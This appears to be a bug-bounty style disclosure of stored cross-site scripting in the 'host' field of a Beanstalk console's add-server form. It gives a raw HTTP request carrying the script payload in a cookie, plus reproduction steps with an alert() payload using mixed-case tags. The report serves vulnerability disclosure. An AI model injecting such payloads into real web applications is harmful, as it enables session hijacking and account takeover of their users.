Description

Stored XSS in parameter 'host' when add server

Proof of Concept

// PoC.req
GET / HTTP/1.1
Host: 127.0.0.1:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://127.0.0.1:8088/
Cookie: PHPSESSID=annqppb7s8u647f8tquflpmfp4; beansServers=localhost%22%3E%3CsCrIpt%3Ealert(%22XsS%22)%3C%2FscRiPt%3E%3A11300
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

Step to Reproduct

Goto Beanstalk console and choose to Add server

At field host input with payload : localhost"><sCrIpt>alert("XsS")</scRiPt>

Impact

This vulnerability has the potential to steal a user's cookie and gain unauthorized access to that user's account through the stolen cookie.